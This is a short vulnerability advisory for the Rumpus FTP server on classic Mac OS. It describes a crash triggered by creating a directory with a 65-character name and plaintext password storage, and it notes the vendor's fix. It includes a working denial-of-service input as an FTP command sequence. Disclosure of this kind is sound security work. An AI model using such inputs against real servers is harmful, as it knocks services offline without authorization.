Maxum(maxum.com) Rumpus FTP server DoS vulnerability
Versions Affected: tested on v1.3.3, 2.0 dev 3(MacOS 8.6, 9.1), probably
earlier,
Not affected: v1.3.4
Description:
If you try to make a directory which name is 65 characters long, the
Rumpus FTP service and the computer freezes. You can try to force
Rumpus to quit, but it never worked for me(always crashed when I
pressed the \'Force quit\' button). Also, the passwords are stored in plain
text(in prefs folder, a file called \'Rumpus User Database\'), as in most
macintosh programs, Maxum Support said to think about encrypting
passwords in newer versions.
Exploit:
ftp 192.168.0.1
user anonymous
pass [email protected]
mkdir
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaa
Solution:
Vendor contacted, fixed in version 1.3.4.
